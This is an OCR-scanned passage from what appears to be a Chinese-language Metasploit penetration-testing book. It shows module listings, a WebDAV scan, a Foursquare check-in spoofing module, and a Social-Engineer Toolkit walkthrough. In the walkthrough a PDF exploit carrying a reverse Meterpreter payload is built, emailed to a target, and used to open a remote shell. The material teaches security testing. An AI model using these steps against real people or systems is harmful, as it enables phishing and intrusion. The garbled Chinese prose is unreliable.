TDS Protocol Login Request Corruption
Fuzzer

TDS Protocol Login Request Username
Fuzzer

Wireless Beacon Frame Fuzzer

Wireless Probe Response Frame Fuzzer
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gather/citrix published applications normal Citrix MetaFrame ICA Published
Applications Scanner

gather/citrix_published bruteforce normal Citrix MetaFrame ICA Published
Applications Bruteforcer

gather/dns_enum normal DNS Enumeration Module

gather/search email collector normal Search Engine Domain Email Address
Collector

pdf/foxit/authbypass normal Foxit Reader Authorization Bypass

scanner/backdoor/energizer duo detect normal Energizer DUO Trojan Scanner

scanner/db2/dbz_auth normal DB2 Authentication Brute Force Utility

scanner/db2/db2_version ~ normal DB2 Probe Utility

MBI BT ERE 4 Y o LUE Y, B EEYUR e B R R AT AR, HIRFR 45 B DNS #4
PR . Wi-Fi Fuzz SR, BEE Ao ARARAMF HZEE (Energize) USB Hijth 78 158
AL JE T THIERBR.

i/l Metasploit FI%BMAERANE A2 B BUhi R K 0L, KRB M S I use 14 F R L8
AT, BBk, (FH webdav scanner #it (ZEF—/N1¥ “fE MBI bHEENA),
YRR 0 F BT 7Y use scanner/http/webdav_scanner #74:

RR: AR, —S X RKAKE Ak A —omi £ 3], 4 RHOST A% 1 &
FF2AL 3 A H 4724, THREAD A48 R il iaddik B %

O msf > use scanner/http/webdav scanner
® msf auxiliary(webdav scanner) > info

Name: HTTP WebDAV Scanner

Version: 9179

License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
et <et@metasploit.com>

Basic options:
Name Current Setting Required Description

mEm- S sSsSSsSsS S Saramammmw S eSS EE me e S RS

Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
©® THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
Description:

Detect webservers with WebDAV enabled

msf auxiliary(webdav_scanner) »
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ERFAE use S BWARNBMNEBRIBEO, REMHR info iy 4 IREUCTHBTEA]
HFEO, XIEEEPEETHENSENEH. E2EFIRDPRITBEINE —1 RHOST 23
© 4 LIH HHEAHBUE, FAIFTLUK RHOST w24 1P Huht . 1P #ibk43R . 1P Hulik B sk CIDR
Hoht g,

HihHZHEEERERBARBERNERZR. 261k, THREAD (4f8) 02X
VHEAMTP R 2R, RESENERSE, A xR ERERPRER.

9.1 {ERimENRLR

FENERER AT LAFE AR % BT FEEAER SRR HE, HiRE— DM OB R & 1HR
KO, WRIRAEKRD D EEARBE, REe LR E 5 s BA BEGHIT B, M
1711 3785 A2 R (T4 5 7 K

BAR— MR WS, IRIEAET —IREfBEN R, MMEHITaME, BT R0
e Web REWIMHTHTR. XERMBEEMIAER S, MARRGERIA LR TE. XHE
scanner/http T HIFIBIEORAER T H, BB HEERRIIMET I BH%RIE, HE TR
BELGE. WMFATR, A[L{ER] search scanner/http #4254k BT 0] A (19 HTTP $1365%.

msf auxiliary(webdav_scanner) > search scanner/http
[*] Searching loaded modules for pattern 'scanner/http'...

Auxiliary
Name Rank  Description
scanner/http/backup file normal HTTP Backup File Scanner
scanner/http/blind sgl query normal HTTP Blind SOL Injection GET QUERY Scanner
scanner/http/brute dirs normal HTTP Directory Brute Force Scanner
scanner/http/cert normal HTTP SSL Certificate Checker
scanner/http/copy of file normal HTTP Copy File Scanner
scanner/http/dir listing normal HTTP Directory Listing Scanner
scanner/http/dir_scanner normal HTTP Directory Scanner

scanner/http/dir_webdav unicode bypass normal MS09-020 IIS6 WebDAV Unicode Auth Bypass
Directory Scanner

scanner/http/enum_delicious normal Pull Del.icio.us Links (URLs) for a domain

scanner/http/enum wayback normal Pull Archive.org stored URLs for a domain

scanner/http/error_sql injection normal HTTP Error Based SQL Injection Scanner

scanner/http/file_same name dir normal HTTP File Same Name Directory Scanner

scanner/http/files dir nomal HTTP Interesting File Scanner

scanner/http/frontpage login nommal FrontPage Server Extensions Login Utility

scanner/http/http_login normal HTTP Login Utility

scanner/http/http version nommal HTTP Version Detection

scanner/http/lucky punch normal HTTP Microsoft SQL Injection Table XSS
Infection
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scanner/http/ms09_020 webdav unicode bypass normal

scanner/http/options
scanner/http/prev dir same name file
scanner/http/replace ext

©®  scanner/http/robots_txt
scanner/http/soap_xml
scanner/http/sqlmap
scanner/http/ssl
scanner/http/svn scanner
scanner/http/tomcat_mgr login
scanner/http/trace axd
scanner/http/verb auth bypass
scanner/http/vhost _scanner
scanner/http/viware server dir trav

scanner/http/web_wulndb
®  scanner/http/webdav_internal ip
scanner/http/webdav_scanner
scanner/http/webdav website content
© scannex/http/writable
scannexr/http/xpath

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

normal
normal
normal
normal
normal
normal

¥ OFE Metasploit HENEIR

MS09-020 IIS6 WebDAV Unicode Auth Bypass

HTTP Options Detection

HTTP Previous Directory File Scanner

HTTP File Extension Scanner

HTTP Robots.txt Content Scanner

HTTP SOAP Verb/Noun Brute Force Scanner

SOLMAP SOL Injection External Module

HTTP SSL Certificate Information

HTTP Subversion Scanner

Tomcat Application Manager Login Utility

HTTP trace.axd Content Scanner

HTTP Verb Authentication Bypass Scanner

HTTP Virtual Host Brute Force Scanner

VMware Server Directory Transversal
Vulnerability

HTTP Vuln scanner

HTTP WebDAV Internal IP Scanner

HTTP WebDAV Scanner

HTTP WebDAV Website Content Scanner

HTTP Writable Path PUT/DELETE File Access

HTTP Blind XPATH 1.0 Injector

X BAHMNS R R AT RATESE, BAERIMASHOE — LB EBRATERRY . RIEE

PO By LR AT LIERNTAZ AR5 48 LIERL robots.txr U, TE@LFIH T JLAA S
WebDAV 4538 B IR, @ IRHMT M ERAFTENRRE B[N TH, WATHRE
T s #R BT R 4l B AR R

IRIRIR &R INE W B RRE R T BRAVE 105 BERA . [HRUMEK 11S Al 5528 () WebDAV If

ReR — T H PRl IE, B Ee] DS H s — kR, S8 kM- 6 8 A
T WebDAV RS 22,

msf auxiliary(dir webdav_unicode bypass) > use scanner/http/webdav_scanner
mst auxiliary(webdav scanner) > show options

Module options:

Name Current Setting Required
Proxies no
RHOSTS yes
RPORT 80 yes
THREADS 1 yes
VHOST no

Description

L SRS S e——

Use a proxy chain

The target address range or CIDR identifier
The target port

The number of concurrent threads

HTTP server virtual host

© msf auxiliary(webdav scanner) > set RHOSTS 192.168.1.242, 192.168.13.242.252,
192.168.13.242.254, 192.168.4.116, 192.168.4.118, 192.168.4.122,
192.168.13.242.251, 192.168.13.242.234, 192.168.8.67, 192.68.8.113,
192.168.13.242.231, 192.168.13.242.249, 192.168.4.115, 192.168.8.66, 192.168.5.68,

192.168.6.62
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RHOSTS =» 192.168.1.242, 192.168.13.242.252, 192.168.13.242.254, 192.168.4.116,
192,168.4.118, 192.168.4.122, 192.168.13.242.251, 192.168.13.242,234, 192.168.8.67,
192.168.6.113, 192.168.13.242.231, 192.168.13.242.249, 192.168.4.115, 192.168.8.66,
192.168.8.68, 192.168.6.62

msf auxiliary(webdav_scanner) > run

[*] 192.168.1.242 (Microsoft-115/6.0) WebDAV disabled.

[*] 192.168.13.242.252 (Apache/2.2.9 (Debian) proxy html/3.0.0 med_ssl/2.2.9
OpenSSL/0.9.8g) WebDAV disabled.

[*] Scanned 04 of 31 hosts (012% complete)
[*] Scanned 07 of 31 hosts (022% complete)
[*] 192.168.4.116 (Apache/2.2.3 (Red Hat)) WebDAV disabled.
[*] Scanned 10 of 31 hosts (032% complete)
[*] 192.168.4.122 (Apache/2.2.3 (Red Hat)) WebDAV disabled.
[*] Scanned 13 of 31 hosts (041% complete)
[*] 192.168.13.242.251 (Microsoft-IIS/6.0) WebDAV disabled.
[*] 192.168.13.242.234 (Microsoft-115/6.0) WebDAV disabled.
[*] Scanned 16 of 31 hosts (051% complete)
[*] 192.168.8.67 (Microsoft-I11S/6.0) WebDAV disabled.
[*] Scanned 19 of 31 hosts (061% complete)

® [*] 192.168.6.113 (Microsoft-I1I5/5.0) has WEBDAV ENABLED
[*] 192.168.13.242.231 (Microsoft-I1I5/6.0) WebDAV disabled.
[*] Scanned 22 of 31 hosts (070% complete)
[*] 192.168.13.242.249 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 25 of 31 hosts (080% complete)
[*] 192.168.4.115 (Microsoft-IIS/6.0) WebDAV disabled.
[*] 192.168.8.66 (Microsoft-I1S/6.0) WebDAV disabled.
[*] Scanned 28 of 31 hosts (090% complete)
[*] 192.168.8.68 (Microsoft-115/6.0) WebDAV disabled.
[*] Scanned 31 of 31 hosts (100% complete)
[*] Auxiliary module execution completed

AEPYRAT LAFE WL, FRAIATE 6 HTTP RG22 H B WebDAV 3E4T T HEHNO, Fth
HARAE T — 8RS Ve, FAIeTEN X G VBT F .

IR MR R R ATRTaM, £ 14 TP FILE R LG54, i
i BhAR S T AR ARAR Y IRF] Fuzz MR & . — A FIELR F 0 H M A 5 £ T AR Rk
Wi-Fi W% (4 dos/wifi/deauth A3k ), X bl X i¢ AT LB 4484 49800,

9.2 HENRIRE|H

RA TR — MBI NI 7B — B BRI A B4, X0 TRA 4 S 4E Metasploit
e (b SEhs RSB MREA ERIXR). X MIFA R Metasploit HE4LAT
FFRRE AMATE S, ERALRATHER RN ERE R b, TR RASA RS M,

FEiE: A6 ¥4 Foursquare £ —/NIET A P I T2 L9 F RS ML, 8 AHFH
A piBit 43 (Check-in) I FXFRMEASFHTHINAMAREBLIFLL, EMRLETRH
— Ao —# 4792, #R% VENUEID. A P 853 — 242/ 5] —2k sy, Tl A & s
SREF I — X FTFRFF. ANFHTFIBHOERERTH TRRS.
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e B 2% (Chris Gates) J4 Metasploit HEZ2E T —> “fMAF” gUsiBhfsite, XMy
b1 Twitter #7228 FRIENS 2, ML FR T —Mal DOSHERATH R & . IPESRE P BoR
Metasploit 1465 5 A N 1R R #6117 . (UR0] LLTE http://carnalOwnage. googlecode.com/BE F XA
FRLER B A YA RS D

© root@bt:/opt/framework3/msf3# cd modules/auxiliary/admin/

root@bt:/opt/framework3/msf3/modules/auxiliary/admin# wget http://carnalownage.googlecode
.com/svn/trunk/msf3/modules/auxiliary/admin/random/foursquare.rb

FAT T R MERIF L E ARG B R H R F O, LIEREMTE Metasploit i/
HE. PLERAMERXMERET, ERATE —F LR, HEE AR,
IXFERRATBLAE S FIE X M BUR B R E 7L 2

require 'msf/core’

@ class Metasploit3 < Msf::Auxiliary

# Exploit mixins should be called first
2] include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

BRI A R PATACA TN T M Bh B 26 (auxiliary class) @, REAEMAESRHHT
Metasploit HE42 N ) HTTP % P ishHE@® .

O def initialize

super
® 'Name' => 'Foursquare Location Poster’,
"Version => '$Revision:$’',
‘Description’ => 'F*ck with Foursquare, be anywhere you want to be by venue id',
'Author’ => ['CG"],
"License’ => MSF_LICENSE,
'References’ =>
|
[ "URL", "http://groups.google.com/group/foursquare-api' ],
[ 'URL", "http://www.mikekey.com/im-a-foursquare-cheater/'],
]
)

#todo pass in geocoords instead of venueid, create a venueid, other tom foolery
register options(
[
@0pt: :RHOST( 'api.foursquare.com'),
OptString.new('VENUEID', [ true, 'foursquare venueid', '185675']), #Louvre
Paris France

OptString.new( 'USERNAME', [ true, 'foursquare username', ‘username']),
OptString.new('PASSWORD', [ true, 'foursquare password', ‘password']),

], self.class)

end
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VR HIE R RO T, AT X T KT ABRA— L #A (5 8 O, 7F MSF 235 FHii A info
R, XEFERFERHR. FOLENIRRETHRHEZMINNZNSEET T X, HiE
XHENEMNEERLIESE. BANIE, AR EIET RS, E1IRNIIREBRET.
(HEAN L EA R PIRRAE BRI, AT/ M N EPRAETA.

def run

begin
Quser = datastore[ 'USERNAME']
pass = datastore[ 'PASSWORD']
venid = datastore[ 'VENUEID']
user_pass = Rex::Text.encode base64(user + ":" + pass)
decode = Rex::Text.decode base64{user pass)
postrequest = "twitter=1\n" #add facebook=1 if you want facebook

print_status("Base64 Encoded User/Pass: #{user pass}") #debug
print_status("Base64 Decoded User/Pass: #{decode}") #debug

Ores = send request cgi({

'uri’ => "/vi/checkin?vid=#{venid}",
'version’ => "1.1",
'method’ => 'POST',
‘data’ => postrequest,
"headers’ =»
{

'‘Authorization' => "Basic #{user pass}",
'Proxy-Connection’ =» "Keep-Alive",

}
}, 25)

MR A A L PR ZE MR, R run BEEOAR G RER— R H .
HABMARNSEE RS RFTRTO, I HE LT S mAIx 8. RS54 H send request cgi
JZOGE T — AR, XAMNHERM lib/msficore/exploit/http.rb SN F|HA B, XA EE
XATERTIRERIIA R “ BB RE 4, QB — MK, KiZiiRk, B ERRESEZEERER” .
MAGIRR, FHEXNMHEGFEZNSE, EEERRILHFRTRERE S L.

Oprint_status("#{res}") #this outputs the entire response. We could probably do
#without this but it's nice to see what's going on.

end

®rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Exrrno::EPIPE =>e
puts e.message
end
end

QR RIE, HRSBEENERETHRO. MRITTERRERR, EOLE
—RERGEIBRAN, TLBEIRME AR S ERE. REFFEEREENL, SR
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R EZHF Metasploit HESE TR L RY & M TN REHFHEE K o (X0 FAREF U E 7 T Metasploit HEZSH)
ok KINRE, fERIXAMERBET RN, BRARTEREN TEZHHHRSMER, WA L2
R HEAT R AL EE . ) B R AR BT 5 .

IERMNBRAX NIRRT BIFET . WRIR NS HRIRE Metasploit H R B 56 B 5
2, W LLXFFIEAT ik

O msf > search foursquare
[*] Searching loaded modules for pattern 'foursquare’...

Auxiliary

e e ——— g ——

Name Rank Description

I = N - O

admin/foursquare normal Foursquare Location Poster

® msf > use admin/foursquare
® msf auxiliary(foursquare) > info

Name: Foursquare Location Poster
Version: 3$Revision:$
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
CG <cg@carnalOwnage.com>

Basic options:

Name Current Setting Required Description

PASSWORD password yes foursquare password

Proxies no Use a proxy chain

RHOST api.foursquare.com yes The target address

RPORT B0 yes The target port

USERNAME username yes foursquare username

VENUEID 185675 yes foursquare venueid

VHOST no HTTP server virtual host
Description:

F*ck with Foursquare, be anywhere you want to be by venue id

References:
http://groups.google.com/group/foursquare-api
http://www.mikekey.com/im-a-foursquare-cheater/
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£ LB, HEAIAER “foursquare” KR FOMG BRI A4, HBA use 32

QIEFIX MR, BFE B REMERNEAFELO. REESPRUENSHEIIER, BRI EXA

© msf auxiliary(foursquare) > set VENUEID 2584421

VENUEID =»> 2584421

msf auxiliary(foursquare) > set USERNAME msf@elwood.net
USERNAME => metasploit

msf auxiliary(foursquare) > set PASSWORD ilovemetasploit
PASSWORD => ilovemetasploit

® msf auxiliary(foursguare) > run

| *] Baseb4 Encoded User/Pass: bXNmQGVsd29vZCSuZXQ6aWxvdmVtZXRhc3Bsb210
[*] Base64 Decoded User/Pass: msf@elwood.net:ilovemetasploit

[*] HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Date: 5at, 08 May 2010 07:42:09 GMT

Content-Length: 1400

Server: nginx/0.7.64

Connection: keep-alive

¢?xml version="1.0" encoding="UTF-8"7>

<checkin><id»>40299544</id><created>Sat, 08 May 10 07:42:09 +0000</created><message>0K!
We've got you @ Washington DC Union Station. This is your 1st checkin here!</message>
<venue><id>2584421</id><name>Washington DC Union Station</name><primarycategory><id>79283</
id><fullpathname>Travel:Train Station</fullpathname><nodename>Train Station</nodename>
<iconurl>http://foursquare.com/img/categories/travel/trainstation.png</iconurls</primary
category><address>Union Stationc</address><city>Washington</city><state>DC</state><geolat>
38.89777986957695¢</geolat><geolong>-77.0060920715332</geolong></venue><mayor><type>nochange
</type><checkins>4</checkins><user><id>685446</id><firstnames>Ron</firstname><photo>http://
playfoursquare.s3.amazonaws.com/userpix_thumbs/ELOW440HXIFB4PWZ. jpg</photos<genders>male</
gender></user><message>Ron is The Mayor of Washington DC Union Station.</message></mayor>
<badges><badge><id>1</id><name>Newbie</name><icon>htip://foursquare.com/img/badge/newbie
.png</icon><description>Congrats on your first check-inl</description></badge></badges>
<scoring><score><points>i</points><icon>http://foursquare.com/img/scoring/2.png</icon>
<message>First stop tonight®@</message></score><score><points>5</points><icon>http://
foursquare.com/img/scoring/1.png</icon><message>First time @ Washington DC Union Station!</
message></scorex></scoring></checkin>

AT N IEATIX AR R, BATFE — X575 Foursquare H /7 42711014 BL5E RLAE 3

(Check-in) #1E. BAI1EETE Google EAIKB|—FikAHbiE ID (VENUEID) , RE BT
VENUEID® LA Jz Foursquare Wi )5 sk o @5 L IHS L, F5izfiT8ith. #iif Foursquare ™
2R RS IR MR IAGE BRAER, £3 0k, MAKRET 5s M4,

EARFH, FATHEIL Foursquare FIMILEARSSHEAT T —IRFEHL B XS 3 (Washington

DC Union Station) B “23” (il 9-1 Frzs ).
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MW9FE Metasploit #ENiEER

2 IR AT1E F 3 Foursquare MUk I, Fed1[FIFERES BX YOl Dh B HRAE o X PMEER ) FRAT IR 75 :
HAae AR 2 MY, 1 H Metasploit JLT-#F A2 2 .

0.3 /&g

G pRAT L, SRS R AT LU $TIZ B A% . Metasploit AEZEHE {HE ¥ B At 8 it BE 9% Lk VRTE R
AR RELIRES FRIHI BN L H . {EH Metasploit BURHBIBIE, FRa] LU —A 1P Huhk v Bl
T, ELEFEEENL IR E ELEETRIARS . WG, PRa] DUR FIX2e(E BoK
SEAFTERTRRIRSS (40 WebDAV #2EF 617D, FH 28 NS5 RS RBITHERFZ L L.

BARPRTT LU G 5 SCRO AR BIAR SR, BN Z{Ef4 T Metasploit B 4 BiAR R BT RE ) -
X LR BR ) Tl BETE 5K P2 i 3l W A5 7T BE IE BRI 7 2 /Y.

BRI % T BB IE R SUE . X T Web N AHFRFFRAR, VR LU Sl B it
T214 40 TR BRI . A 2G0T IR AT BER EEEX —1 Web MRSTFIEITRNEE, LI
FEAEEH BT SR RET H ks BUE URAEENT Web RS ASBEAT 14, I 2 0 BEAS [a) TLIBK
PR EE T BACE . ARIRBIFREH A, MBMEERE T ORI E AHFERE. EE2H
Wi 1l 8 N 22 e
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#4TR%T A (SET) £4 T 5 Social-Engineer.org P43 [a] ¥ & 46 T 7 & ) L B4 6.
X% 1. AL H1 Chris Hadnagy A ¥ 11, A B HI{E#H 2 — David Kennedy £31.. Social-engineer.org
Pl EE PR TS TR ERE . HARWH., TAARABLLRAHX R, RBWHIREEREE
ity AR B4 3t & TR 2255

SET fHBESANEBEIRAEZ A MR, B/ RKFENREHSIREAE. %1
AAHWOH TER 100 TR, MHECEENFHFLRtS TEEREHERNFME. SET XE
MTESFERNSE A, FRAMNMETE. FE. ABUR-RBENTR. e TEYEGG
BN AR E R, 10 HX 2 4 R AR R ™ E R — B K



Metasploit &iE it 5/

R, A TREZEFAEFEY, (B AN Bkl 5 ik fh 2 M fh A AR HE, Aa]
REA SRR . &R ITFE AT NES TRZARRZL F ik Keelibe —, #E
Rt TR A BGEIR S BT R TG« (PRA] REBIC R E ML 5 A4 AR “ Aurora” i 5
e, Boh#EFBLERA T 44 TR FH AR Gmail B H AL Google IHER).

B iti [\) B A R IR EUE B EUI 35 B RAE V5 ML HIRIE . SET i Yooy () B et B 4T
R (Bl BT Web B, BF E-mail FZGEMET USB M3 di). EFI B THstE.
16 I T A R HoAh SR 1E 25 Buadi H bR, RBR A LR GBS N A 0L, 3R S8 H AR EHLR RS B
RS, BB ) B R Ih AR & B0 B Ax ML 0 CA BGEAS Jr R AS R A B2 5. SET
(] B B S FF PSE HE S E-mail b5 0 U, X ESHRR v LA (A SR T4 & TR %M. SET
il KB T Metasploit HE42 B LB A BE ) .

HFETRYPEHEANRRMESEE, AENFMFEHLSAE MR H g R
A HEAT U B AR

10.1 BECE SET TLRSH

7E Back Track 7, SET TR ERIA %37 pentest/exploits/SET HEF . TEWRBENZEFZY
A, FEORIRAE R R BBAR AR SET GELLL F a4 3 1TEHD.

root@bt:/pentest/exploits/set# svn update

EHsERE, BRI BT RREN SET BL B 0. BAVEAN A LA H il &%k I,
7E SET T RA4R H 3% T config/set config 3L,

WEBATTACK_EMAIL J& H K45 187E Web Briti Y R 8 2 B 3T B89 By, XM FRiRdk
THERINR KA, XK SN EL B e Web B (i) B i A ST B R4 £

METASPLOIT PATH=/opt/framework3/ms+3

WEBATTACK EMAIL=ON

Java applet B & SET X #rif) —F I T Web BB 7R, (FH B4 Java applet 2%
KW H s RAMNEHE, WBEFAIEETT. fFEBAERT, XFB R M e i 4 R
i, M, WRAFEP LT Java FRXLEA (JDK) , fRATLAITFFXANEIR, HkHRir
P FRKXT applet 1T 4 . LIRIT FRZIE TRy, —iH AR E RIS SERE OB,

SELF_SIGNED APPLET=ON

Az (AUTO_DETECT) #EIR SET B EBEHENZ —, H HEBRIARITIFR. iZ%iEM
T JE4£ 73 SET RESS A0 3 2 BT 7E - HLAG IP Mtk Zxtiohl o] DAFE 4 J2 ) 3 81 H #5835 Web
M55 25 2R v bk o R URGEA 2 AN NS85 01, BRAE I I SR B B 48 1 7 55— 1P Hulk,
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AR EE R IXA RN X%ETNE, SET FE/RFEH G EVE THME B, X
% 1P Huhib{# B A AR IE I, Bl — g R A5 T NAT Mg ¥ KFIThEE. XERLED
BN BT SET B0l LLEF,

AUTO DETECT=OFF

LorfE R T AR, B AR T Python 22N E Web IR%. A TIRAHRSHE
fE, W5 E4C apache server WINTFE, SET ¥4 #H Apache R4 34T B i

APACHE_SERVER=0N

PLEIX AR R — SR AR B F IR M. FEURFTERIE, VRATEEER T EEL W E TR A
S H IR IR CAE SET RIBGHAIT N . EMEREIENL A, MR mET TR,

10.2 $* M BaIEN=

B0 1 B A B (o] A A 3 ) SO A SRR 2 B Bt (Bl 4o Adobe PDF I HY
BEAGE), FEREAOEMERAR TR, e SBERRN X AER BRI, YHEFE
FLETH TR, B A EVLR S ba iz sl . SET {# A faj s s 2 el (SMTP)
HIFF A EE (B 44 el F A IEAY ). Gmail A1 Sendmail SR &ZIE . SET [rl it fd A bRAE L T
R4 A T HTML A% 3R i1 fE R A 3h 89 48 B«

WA T UL xyz 28N HAF#AIT — K EPRBRISEN, /R0 ELEM— KL xyz 2
A 4%, W coompamyxyz.com, VRETA LLEE — P S FiEM—4 7L, #w
com.panyxyz.com. &, VRECXT HEFRELR RS ST AR E s, fEE B, 4aX
LRAF RT A SE—REEH, RERSITIHMEAFLIEER R MAR. XA T, A
e REFEBENRLE PDF #£:CH3 B s 0L, T AR

root@t:/pentest/exploits/set# ./set
Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Cenerator

Create a Payload and Listener

Mass Mailer Attack

Teensy USB HID Attack Vector

SMS Spoofing Attack Vector

Wireless Access Point Attack Vector
Third Party Modules

WD 00 =] OO0 WA b W B
 ® @ & & @ w0 @
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10. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About

13. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This module allows you

to specially craft email messages and send them to a large (or small)
number of people with attached fileformat malicious payloads. If you
want to spoof your email address, be sure "Sendmail" is installed (it
is installed in BT4) and change the config/set _config SENDMAIL=OFF flag
to SENDMAIL=0N.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

® 1. Perform a Mass Email Attack
2. Create a FileFormat Payload
3. Create a Soclal-Engineering Template
4. Return to Main Menu

Enter your choice: 1

Select the file format exploit you want.
The default is the PDF embedded EXE.

Rgkgkgkkdkog pA‘III’LDADS 3 e o o e K

1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2. SET Custom Written Document UNC LM SMB Capture Attack
3. Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
4. Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
5. Adobe Flash Player 'Button' Remote Code Execution
6. Adobe CoolType SING Table 'uniqueName' Overflow
7. Adobe Flash Player 'newfunction' Invalid Pointer Use
© 8. Adobe Collab.collectEmaillnfo Buffer Overflow
9. Adobe Collab.getIcon Buffer Overflow
10. Adobe J]BIG2Decode Memory Corruption Exploit
11. Adobe PDF Embedded EXE Social Engineering
12. Adobe util.printf() Buffer Overflow

13. Custom EXE to VBA (sent via RAR) (RAR required)

14. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
15. Adobe PDF Embedded EXE Social Engineering (NOJS)

16. Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
17. Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

Enter the number you want (press enter for default): 8

1. Windows Reverse TCP Shel Spawn a command shell on victim and send back to
attacker.
2. Windows Meterpreter Reverse TCP Spawn a meterpreter shell on victim and send back

to attacker.
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3. Windows Reverse VNC DLL Spawn a VNC server on victim and send back to
attacker.

4. Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline

5. Windows Meterpreter Reverse TCP (X64) Connect back to the attacker (Windows x64),
Meterpreter

6. Windows Shell Bind TCP (X64) Execute payload and create an accepting port on
remote system.

7. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use
Meterpreter.

® Enter the payload you want (press enter for default):
[*] Windows Meterpreter Reverse TCP selected.
Enter the port to connect back on (press enter for default):
[*] Defaulting to port 443...
[*] Generating fileformat exploit...
[*] Please wait while we load the module tree...
[*] Started reverse handler on 10.10.1.112:443
[*] Creating 'template.pdf' file...
[*] Generated output file /pentest/exploits/set/src/program junk/template,pdf
[*] Payload creation complete.
[*] All payloads get sent to the src/msf_attacks/template.pdf directory
[*] Payload generation complete. Press enter to continue.

As an added bonus, use the file-format creator in SET to create your attachment.
Right now the attachment will be imported with filename of 'template.whatever'
Do you want to rename the file?

example Enter the new filename: moo.pdf

® 1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.

Enter your choice (enter for default): 1
Keeping the filename and moving on.

it SET M55 4=, 5+ Spear-Phishing Attack Vectors®, '%i%# k3% perform a mass
email attack® . iX B F| ] T Abobe PDF H] Collab.collectEmaillnfo #§iH ©, B i\ ¥ Metasploit
*h () Meterpreter = [7] 2 i 8 7ir @ in#k 21 PDF 3044+ . Collab.collectEmaillnfo & /N HE#E H I I,
WRITH (B R FHLLEEH Abobe Acrobat FIAFFFEII ) PDF 344, HB4 Meterpreter
Pl EaERBGE EHIH 443 B0, 1% O R4 K 2 BN 48 ol 5 = P ISOE R .

[Fif SET & SVFBLE# 152 PDF W30 4, R CHEARSIH. EROIKZSE D, UL
T~ H B, BTLAER T 845 ) PDF X4 (remplate.pdf) @ .

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that 1ist.
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What do you want to do:

® 1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3. Return to main menu.

Enter your choice: 1

Do you want to use a predefined template or craft
a one time email template.

® 1, Pre-Defined Template
2. One-Time Use Email Template

Enter your choice: 1
Below is a list of available templates:

1: New Update
2: Computer Issue
3: Strange internet usage from your computer
4: LOL...have to check this out...
©® 5: Status Report
6: Pay Raise Application Form
7: WOAAAALIYININIIY This is crazy...
8: BasketBall Tickets
9: Baby Pics

10: Have you seen this?

11: Termination List

12: How long has it been?

13: Dan Brown's Angels & Demons
Enter the number you want to use: 5

® Enter who you want to send email to: ihazomgsecurity@secmaniac.com

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
® Enter your CMAIL email address: fakeemailaddy@gmail.com
Enter your password for gmail (it will not be displayed back to you):

SET has finished delivering the emails.

F—4, BAVEF X~ HBRE BT H @, HF SET Z 814 BB PDF 3T A mE44- B 14
HAEH—AFseE XA SET BE{F#4H® “Status Report” ©. EATik SET f#H— Gmail K /7
@ N HHEN bt  (ihazomgsecurity@secmaniac.com) @ R AF .
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)5, )2 Metasploit MW O F R M0y Boti i for RIERO . 24 SET JH 35 Metasploit ]
%, ©ELEETIAUERER, HITROERAETEEPE IP kA EED] 443 7O O,
IF AT AU AT ARG BRI AR FE .

® Do you want to setup a listener yes or no: yes

resource (src/program junk/meta config)> use exploit/multi/handler
resource (src/program junk/meta config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program junk/meta_config)> set LHOST 10.10.1.112
LHOST =» 10.10.1.112
resource (src/program_junk/meta config)> set LPORT 443
LPORT => 443
resource (src/program junk/meta config)> set ENCODING shikata ga nai
ENCODING =»> shikata ga nai
resource (src/program junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program junk/meta config)> exploit -j
[*] Exploit running as background job.
@ [*] Started reverse handler on 10.10.1.112:443
[*¥] Starting the payload handler...
msf exploit(handler) >

AP 7 X HEAE ihazomgsecurity@secmaniac.com BB, #iE T —NB-F op4 A& i%
¢ Hibr, RIHT PDF 4. SET SOFEL &G R AR MBE, H BAERN Z/RIEFA.
U HARAT F BB H AR iR e iR, WB2FRIWE 10-1 T2 REER.

Y I ST T T T

|

10-1 8% PDF 4B HiFR¥ A
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H b5 F P 4T R4 A 308 PDF X1, SicFES B R EFOL N2 ] . EBGEE XA, IR

[*] Started reverse handler on 10.10.1.112:443

[*] Starting the payload handler...

msf exploit(handler) > [*] Sending stage (748032 bytes) to 10,10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58087)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell

Process 2976 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Bob\Desktop>

XA FER T SRR BEEROARMNEE T — & HAnEAl. B SET RIFH3CFF “4F
A B s 7 e, By vl LA ml 46 B A 9 R B R SRR SET R ERkE A&
4 T 51 P B e A A AR

10.3 Web W &=

